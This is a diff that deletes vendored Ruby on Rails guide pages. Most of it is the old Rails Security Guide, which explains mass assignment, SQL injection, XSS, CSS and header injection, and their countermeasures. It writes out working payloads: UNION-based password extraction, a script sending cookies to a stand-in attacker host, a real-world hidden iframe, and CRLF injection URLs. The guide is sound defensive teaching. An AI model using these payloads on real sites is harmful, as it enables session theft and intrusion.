    -Put the admin interface to a special sub-domain such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. -

    -
    • -
-
-

6. Mass assignment

-
-

-- Without any precautions Model.new(params[:model]) allows attackers to set any database column’s value.

-

The mass-assignment feature may become a problem, as it allows an attacker to set any model’s attribute by manipulating the hash passed to a model’s new() method:

-
-
-
def signup
-  params[:user] #=> {:name => “ow3ned”, :admin => true}
-  @user = User.new(params[:user])
-end
-

Mass-assignment saves you much work, because you don’t have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model’s attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:

-
-
-
http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-
-

This will set the following parameters in the controller:

-
-
-
params[:user] #=> {:name => “ow3ned”, :admin => true}
-

So if you create a new user using mass-assignment, it may be too easy to become an administrator.

-

6.1. Countermeasures

-

To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:

-
-
-
attr_protected :admin
-

A much better way, because it follows the whitelist-principle, is the attr_accessible method. It is the exact opposite of attr_protected, because it takes a list of attributes that will be accessible. All other attributes will be protected. This way you won’t forget to protect attributes when adding new ones in the course of development. Here is an example:

-
-
-
attr_accessible :name
-

If you want to set a protected attribute, you will to have to assign it individually:

-
-
-
params[:user] #=> {:name => "ow3ned", :admin => true}
-@user = User.new(params[:user])
-@user.admin #=> false # not mass-assigned
-@user.admin = true
-@user.admin #=> true
-
-

7. User management

-
-

-- Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.

-

There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is restful_authentication which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.

-

Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):

-
-
-
http://localhost:3006/user/activate
-http://localhost:3006/user/activate?id=
-
-

This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:

-
-
-
User.find_by_activation_code(params[:id])
-

If the parameter was nil, the resulting SQL query will be

-
-
-
SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1
-
-

And thus it found the first user in the database, returned it and logged him in. You can find out more about it in my blog post. It is advisable to update your plug-ins from time to time. Moreover, you can review your application to find more flaws like this.

-

7.1. Brute-forcing accounts

-

-- Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.

-

A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don’t use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name’s and a dictionary, an automatic program may find the correct password in a matter of minutes.

-

Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.

-

However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.

-

In order to mitigate such attacks, display a generic error message on forgot-password pages, too. Moreover, you can require to enter a CAPTCHA after a number of failed logins from a certain IP address. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.

-

7.2. Account hijacking

-

-- Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?

-

7.2.1. Passwords

-

Think of a situation where an attacker has stolen a user’s session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim’s password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, make change-password forms safe against CSRF, of course. And require the user to enter the old password when changing it.

-

7.2.2. E-Mail

-

However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker’s e-mail address. As a countermeasure require the user to enter the password when changing the e-mail address, too.

-

7.2.3. Other

-

Depending on your web application, there may be more ways to hijack the user’s account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in Google Mail. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, review your application logic and eliminate all XSS and CSRF vulnerabilities.

-

7.3. CAPTCHAs

-

-- A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.

-

But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is reCAPTCHA which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a Rails plug-in with the same name as the API.

-

You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. -The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.

-

Most bots are really dumb, they crawl the web and put their spam into every form’s field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.

-

Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:

-
    -
  • -

    -position the fields off of the visible area of the page -

    -
    • -
  • -

    -make the elements very small or colour them the same as the background of the page -

    -
    • -
  • -

    -leave the fields displayed, but tell humans to leave them blank -

    -
    • -
-

The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.

-

You can find more sophisticated negative CAPTCHAs in Ned Batchelder’s blog post:

-
    -
  • -

    -Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. -

    -
    • -
  • -

    -Randomize the field names -

    -
    • -
  • -

    -Include more than one honeypot field of all types, including submission buttons -

    -
    • -
-

Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.

-

7.4. Logging

-

-- Tell Rails not to put passwords in the log files.

-

By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can filter certain request parameters from your log files by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.

-
-
-
filter_parameter_logging :password
-

7.5. Good passwords

-

-- Do you find it hard to remember all your passwords? Don’t write them down, but use the initial letters of each word in an easy to remember sentence.

-

Bruce Schneier, a security technologist, has analysed 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:

-

password1, abc123, myspace1, password, blink182, qwerty1, **you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.

-

It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today’s passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.

-

A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the first letters of a sentence that you can easily remember. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.

-

7.6. Regular expressions

-

-- A common pitfall in Ruby’s regular expressions is to match the string’s beginning and end by ^ and $, instead of \A and \z.

-

Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:

-
-
-
class File < ActiveRecord::Base
-  validates_format_of :name, :with => /^[\w\.\-\+]+$/
-end
-

This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, in Ruby ^ and $ matches the line beginning and line end. And thus a file name like this passes the filter without problems:

-
-
-
file.txt%0A<script>alert('hello')</script>
-
-

Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert(hello)</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:

-
-
-
/\A[\w\.\-\+]+\z/
-[source, ruby]
-

7.7. Privilege escalation

-

-- Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.

-

The most common parameter that a user might tamper with, is the id parameter, as in http://www.domain.com/project/1, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:

-
-
-
@project = Project.find(params[:id])
-

This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, query the user’s access rights, too:

-
-
-
@project = @current_user.projects.find(params[:id])
-

Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated.

-

Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form’s hidden fields. JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.

-
-

8. Injection

-
-

-- Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.

-

Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.

-

8.1. Whitelists versus Blacklists

-

-- When sanitizing, protecting or verifying something, whitelists over blacklists.

-

A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), prefer to use whitelist approaches:

-
    -
  • -

    -Use before_filter :only => [...] instead of :except => [...]. This way you don’t forget to turn it off for newly added actions. -

    -
    • -
  • -

    -Use attr_accessible instead of attr_protected. See the mass-assignment section for details -

    -
    • -
  • -

    -Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details. -

    -
    • -
  • -

    -Don’t try to correct user input by blacklists: -

    -
      -
    • -

      -This will make the attack work: "<sc<script>ript>".gsub("<script>", "") -

      -
      • -
    • -

      -But reject malformed input -

      -
      • -
    -
    • -
-

Whitelists are also a good approach against the human factor of forgetting something in the blacklist.

-

8.2. SQL Injection

-

-- Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.

-

8.2.1. Introduction

-

SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:

-
-
-
Project.find(:all, :conditions => "name = '#{params[:name]}'")
-

This could be in a search action and the user may enter a project’s name that he wants to find. If a malicious user enters OR 1=1, the resulting SQL query will be:

-
-
-
SELECT * FROM projects WHERE name = '' OR 1 --'
-
-

The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.

-

8.2.2. Bypassing authorization

-

Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.

-
-
-
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
-

If an attacker enters OR '1=1 as the name, and ' OR '2>'1 as the password, the resulting SQL query will be:

-
-
-
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
-
-

This will simply find the first record in the database, and grants access to this user.

-

8.2.3. Unauthorized reading

-

The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let’s take the example from above:

-
-
-
Project.find(:all, :conditions => "name = '#{params[:name]}'")
-

And now let’s inject another query using the UNION statement:

-
-
-
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-
-

This will result in the following SQL query:

-
-
-
SELECT * FROM projects WHERE (name = '') UNION
-  SELECT id,login AS name,password AS description,1,1,1 FROM users --')
-
-

The result won’t be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That’s why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

-

Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails to at least 2.1.1.

-

8.2.4. Countermeasures

-

Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]. But in SQL fragments, especially in conditions fragments (:conditions => "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually.

-

Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:

-
-
-
Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
-

As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:

-
-
-
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
-

The array or hash form is only available in model instances. You can try sanitize_sql() elsewhere. Make it a habit to think about the security consequences when using an external string in SQL.

-

8.3. Cross-Site Scripting (XSS)

-

-- The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.

-

8.3.1. Entry points

-

An entry point is a vulnerable URL and its parameters where an attacker can start an attack.

-

The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the Live HTTP Headers Firefox plugin, or client-site proxies make it easy to change requests.

-

XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.

-

During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. Mpack is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations and many more high targets.

-

A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to Trend Micro.

-

8.3.2. HTML/JavaScript Injection

-

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. Escaping user input is essential.

-

Here is the most straightforward test to check for XSS:

-
-
-
<script>alert('Hello');</script>
-
-

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

-
-
-
<img src=javascript:alert('Hello')>
-<table background="javascript:alert('Hello')">
-
-
Cookie theft
-

These examples don’t do any harm so far, so let’s see how an attacker can steal the user’s cookie (and thus hijack the user’s session). In JavaScript you can use the document.cookie property to read and write the document’s cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

-
-
-
<script>document.write(document.cookie);</script>
-
-

For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server’s access log files to see the victims cookie.

-
-
-
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
-
-

The log files on www.attacker.com will read like this:

-
-
-
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-
-

You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies will still be visible using Ajax, though.

-
Defacement
-

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:

-
-
-
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
-
-

This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an actual attack on legitimate Italian sites using the Mpack attack framework. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.

-

A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site’s original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.

-

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":

-
-
-
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
-  <script src=http://www.securitylab.ru/test/sc.js></script><!--
-
-
Countermeasures
-

It is very important to filter malicious input, but it is also important to escape the output of the web application.

-

Especially for XSS, it is important to do whitelist input filtering instead of blacklist. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.

-

Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

-
-
-
strip_tags("some<<b>script>alert('hello')<</b>/script>")
-
-

This returned "some<script>alert(hello)</script>", which makes an attack work. That’s why I vote for a whitelist approach, using the updated Rails 2 method sanitize():

-
-
-
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
-s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
-
-

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

-

As a second step, it is good practice to escape all output of the application, especially when re-displaying user input, which hasn’t been input filtered (as in the search form example earlier on). Use escapeHTML() (or its alias h()) method to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&, ", < and >). However, it can easily happen that the programmer forgets to use it, so it is recommended to use the SafeErb plugin. SafeErb reminds you to escape strings from external sources.

-
Obfuscation and Encoding Injection
-

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:

-
-
-
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
-  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
-
-

This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the Hackvertor. Rails‘ sanitize() method does a good job to fend off encoding attacks.

-

8.3.3. Examples from the underground

-

-- In order to understand today’s attacks on web applications, it’s best to take a look at some real-world attack vectors.

-

The following is an excerpt from the Js.Yamanner@m Yahoo! Mail worm. It appeared on June 11, 2006 and was the first webmail interface worm:

-
-
-
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
-  target=""onload="var http_request = false;    var Email = '';
-  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
-
-

The worms exploits a hole in Yahoo’s HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

-

Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on Rosario Valotta’s website. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.

-

In December 2006, 34,000 actual user names and passwords were stolen in a MySpace phishing attack. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.

-

The MySpace Samy worm will be discussed in the CSS Injection section.

-

8.4. CSS Injection

-

-- CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.

-

CSS Injection is explained best by a well-known worm, the MySpace Samy worm. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.

-

MySpace blocks many tags, however it allows CSS. So the worm’s author put JavaScript into CSS like this:

-
-
-
<div style="background:url('javascript:alert(1)')">
-
-

So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.

-
-
-
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
-
-

The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:

-
-
-
alert(eval('document.body.inne' + 'rHTML'));
-
-

The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this:

-
-
-
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
-
-

Another problem for the worm’s author were CSRF security tokens. Without them he couldn’t send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.

-

In the end, he got a 4 KB worm, which he injected into his profile page.

-

The moz-binding CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).

-

8.4.1. Countermeasures

-

This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application. Use Rails' sanitize() method as a model for a whitelist CSS filter, if you really need one.

-

8.5. Textile Injection

-

-- If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. RedCloth is such a language for Ruby, but without precautions, it is also vulnerable to XSS.

-
-
-
For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:
-
-
-
-
>> RedCloth.new('<script>alert(1)</script>').to_html
-=> "<script>alert(1)</script>"
-
-

Use the :filter_html option to remove HTML which was not created by the Textile processor.

-
-
-
>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
-=> "alert(1)"
-
-

However, this does not filter all HTML, a few tags will be left (by design), for example <a>:

-
-
-
>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
-=> "<p><a href="javascript:alert(1)">hello</a></p>"
-
-

8.5.1. Countermeasures

-

It is recommended to use RedCloth in combination with a whitelist input filter, as described in the countermeasures against XSS.

-

8.6. Ajax Injection

-

-- The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn’t render a view.

-

If you use the in_place_editor plugin, or actions that return a string, rather than rendering a view, you have to escape the return value in the action. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.

-

8.7. RJS Injection

-

-- Don’t forget to escape in JavaScript (RJS) templates, too.

-

The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h(). Otherwise an attacker could execute arbitrary JavaScript.

-

8.8. Command Line Injection

-

-- Use user-supplied command line parameters with caution.

-

If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).

-

A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.

-
-
-
system("/bin/echo","hello; rm *")
-# prints "hello; rm *" and does not delete files
-
-

8.9. Header Injection

-

-- HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.

-

HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. Remember to escape these header fields, too. For example when you display the user agent in an administration area.

-

Besides that, it is important to know what you are doing when building response headers partly based on user input. For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:

-
-
-
redirect_to params[:referer]
-
-

What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

-
-
-
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-
-

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:

-
-
-
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
-http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-
-

Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.

-
-
-
HTTP/1.1 302 Moved Temporarily
-(...)
-Location: http://www.malicious.tld
-
-

So attack vectors for Header Injection are based on the injection of CRLF characters in a header field. And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.

-

8.9.1. Response Splitting

-

If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:

-
-
-
HTTP/1.1 302 Found [First standard 302 response]
-Date: Tue, 12 Apr 2005 22:09:07 GMT
-Location:
Content-Type: text/html
-
-
-HTTP/1.1 200 OK [Second New response created by attacker begins]
-Content-Type: text/html
-
-
-<html><font color=red>hey</font></html> [Arbitary malicious input is
-Keep-Alive: timeout=15, max=100         shown as the redirected page]
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: text/html
-
-

Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can’t rely on this. In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.

-
-

9. Additional resources

-
-

The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

-
-
-

10. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -November 1, 2008: First approved version by Heiko Webers -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/testing_rails_applications.html b/vendor/rails/railties/doc/guides/html/testing_rails_applications.html deleted file mode 100644 index 16822904..00000000 --- a/vendor/rails/railties/doc/guides/html/testing_rails_applications.html +++ /dev/null @@ -1,1551 +0,0 @@ - - - - - A Guide to Testing Rails Applications - - - - - - - - -
- - - -
-

A Guide to Testing Rails Applications

-
-
-

This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:

-
    -
  • -

    -Understand Rails testing terminology -

    -
    • -
  • -

    -Write unit, functional and integration tests for your application -

    -
    • -
  • -

    -Identify other popular testing approaches and plugins -

    -
    • -
-

This guide won’t teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.

-
-
-

1. Why Write Tests for your Rails Applications?

-
-
    -
  • -

    -Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers. -

    -
    • -
  • -

    -By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring. -

    -
    • -
  • -

    -Rails tests can also simulate browser requests and thus you can test your application’s response without having to test it through your browser. -

    -
    • -
-
-

2. Introduction to Testing

-
-

